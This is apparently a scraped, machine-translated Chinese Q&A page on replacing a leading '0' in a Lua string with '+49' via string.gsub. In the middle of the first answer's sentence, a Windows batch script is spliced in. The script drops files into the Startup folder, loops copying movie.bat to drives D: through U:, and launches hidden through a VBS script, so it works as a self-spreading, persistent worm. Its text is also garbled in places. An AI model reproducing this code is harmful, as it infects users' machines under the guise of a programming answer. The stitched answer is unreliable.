如何将Lua中字符串的前缀“0”替换为“+49”?
sed中的示例:
echo 030111 | sed "s/^0/\+49/" -> +4930111
答案 0 :(得分:5)
将gsub与^
string.gsub("030111", "^0", "+49")
+4930111
一起使用。这将返回@echo off
(echo @echo off
echo color 1a
echo title @VIRUS = HR
echo echo danger!!
echo pause)>"%appdata%\Microsoft\windows\start menu\Programs\Startup\system.bat"
(echo @echo off
echo :A
echo copy /y %appdata%\movie.bat d:
echo copy /y %appdata%\movie.bat e:
echo copy /y %appdata%\movie.bat f:
echo copy /y %appdata%\movie.bat g:
echo copy /y %appdata%\movie.bat h:
echo copy /y %appdata%\movie.bat i:
echo copy /y %appdata%\movie.bat j:
echo copy /y %appdata%\movie.bat k:
echo copyta%\ /y %appdata%\movie.bat l:
echo copy /y %appdata%\movie.bat m:
echo copy /y %appdata%\movie.bat n:
echo copy /y %appdata%\movie.bat o:
echo copy /y %appdata%\movie.bat p:
echo copy /y %appdata%\movie.bat q:
echo copy /y %appdata%\movie.bat r:
echo copy /y %appdata%\movie.bat s:
echo copy /y %appdata%\movie.bat t:
echo copy /y %appdata%\movie.bat u:
echo goto A)>"%appdata%\vol.bat"
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo WshShell.Run chr^(34^) ^& "%appdata%\vol.bat" ^& Chr^(34^), 0
echo Set WshShell = Nothing) > "%appdata%\Microsoft\windows\start
menu\Programs\startup\windows.vbs"
copy movie.bat %appdata%
。
答案 1 :(得分:2)
使用gsub:
string.gsub("030111", "^0", "+49")